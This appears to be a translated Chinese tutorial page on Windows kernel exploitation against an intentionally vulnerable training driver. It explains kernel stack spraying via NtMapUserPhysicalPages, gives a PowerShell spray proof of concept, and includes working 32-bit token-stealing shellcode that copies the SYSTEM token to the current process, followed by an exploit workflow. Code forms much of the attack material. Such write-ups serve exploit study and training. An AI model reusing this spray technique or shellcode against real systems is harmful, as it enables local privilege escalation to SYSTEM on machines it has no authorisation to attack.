返回介绍

Pwn

发布于 2025-01-03 23:32:56 字数 2610 浏览 0 评论 0 收藏 0

如果我们可以覆盖内核栈上的整型指针为我们 shellcode 的地址就大功告成了,但是这要怎么做呢?看起来内核栈喷射是个办法,我强烈推荐你去阅读 @j00ru 的 这篇文章 。有一个未文档化的函数,NtMapUserPhysicalPages,我们不关心它用于干什么,但它的一部分功能是拷贝输入的字节到内核栈上的一个本地缓冲区。最大尺寸可以拷贝 1024*IntPtr::Size(32 位机器上是 4 字节=>4096 字节)。对我们的需求来说足够了,下面的 POC 用以展示!

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
  [DllImport("ntdll.dll")]
  public static extern uint NtMapUserPhysicalPages(
    IntPtr BaseAddress,
    UInt32 NumberOfPages,
    Byte[] PageFrameNumbers);
}
"@
 
# $KernelStackSpray = 4*1024
$KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024
 
# This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1),
# however, by that time the buffer is already on the Kernel stack ;)
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null

我们在 NtMapUserPhysicalPages 函数返回前下一个断点,运行 POC 以检阅内核栈。

完美,在 NtMapUserPhysicalPages 返回后,栈应该被设置下去。因此我们可以污染该未初始化栈变量并调用该驱动函数。注意到该喷射是不连续的,巡视之后我发现栈上有大小相当的块(sizable chunks)但是他们被存储的值分割开来(我推测)。幸运的是,我们需要的偏移处可以被正确设置。

还有个关键点是栈不是一成不变的,因此最好在恰好触发 bug 之前进行喷射,这可以避免缓冲区被更少的操作修改。

再一次,我们覆盖该函数调用为那个重用的窃取 token 的 shellcode 地址,它和前面的章节一致无需任何修改。

$Shellcode = [Byte[]] @(
  #---[Setup]
  0x60,                 # pushad
  0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
  0x8B, 0x40, 0x50,           # mov eax, [eax + EPROCESS_OFFSET]
  0x89, 0xC1,             # mov ecx, eax (Current _EPROCESS structure)
  0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
  #---[Copy System PID token]
  0xBA, 0x04, 0x00, 0x00, 0x00,     # mov edx, 4 (SYSTEM PID)
  0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
  0x2D, 0xB8, 0x00, 0x00, 0x00,     # sub eax, FLINK_OFFSET       |
  0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx   |
  0x75, 0xED,             # jnz               ->|
  0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
  0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
  #---[Recover]
  0x61,                 # popad
  0xC3                # ret
)

我们的 exp 工作流将如下:(1)将 shellcode 放在内存任意位置,(2)使用指向 shellcode 的指针喷射内核栈,(3)触发未初始化变量漏洞。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文